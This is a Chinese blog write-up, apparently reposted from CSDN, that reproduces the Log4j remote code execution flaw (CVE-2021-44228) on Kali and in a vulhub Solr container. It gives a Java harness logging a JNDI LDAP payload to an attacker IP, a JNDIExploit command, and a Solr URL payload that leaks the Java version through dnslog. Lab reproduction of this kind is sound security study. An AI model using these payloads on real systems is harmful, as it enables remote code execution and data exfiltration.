漏洞复现 log4j RCE(CVE-2021-44228)

前言:Log4j的利用条件实在是苛刻,看了很多视频和文章,记录下我能复现的两种场景

Windows系统不知啥原因,搞了许久毫无反应,只能控制台打印。360都检测出了Log4j,但是即使退出360,也没有任何命令执行,离大谱

1、kali

  • Java环境:1.8.0_281,这个jdk版本已经很高了,真实环境是不能复现的,核心在于System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
  • 下载两个jar包,log4j-core-2.14.1.jar,log4j-api-2.14.1.jar
// Log4jTest.java
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4jTest {
    
    
	private static final Logger logger = LogManager.getLogger();

    public static void main(String[] args) {
    
    
	    System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        String jndi_exploit = "${jndi:ldap://192.168.137.1:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9zdWNjZXNzCg==}";
        logger.error(jndi_exploit);
    }
}

编译运行

javac -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest.java
java -cp log4j-core-2.14.1.jar:log4j-api-2.14.1.jar:$CLASSPATH Log4jTest

攻击端主机ip(192.168.137.1),使用JNDIexploit工具进行攻击,

java8 -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.137.1

2、vulhub

vulhub,创建CVE-2021-44228的容器

这个环境非常和谐,没有任何问题,直接一次性成功

因为 log4j 并不是一个单独的web服务,而是日志记录库,所以这个环境是在 Apache Solr 8.11.0, which use Log4j 2.14.1

服务启动后,访问 http://your-ip:8983 to see the admin portal of Apache Solr.

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.hw5t79.dnslog.cn}

dnslog platform查看记录就可以看到
在这里插入图片描述
我使用的是java8u74 ,信息已经实现外带了

猜你喜欢

转载自blog.csdn.net/m0_52062236/article/details/130919041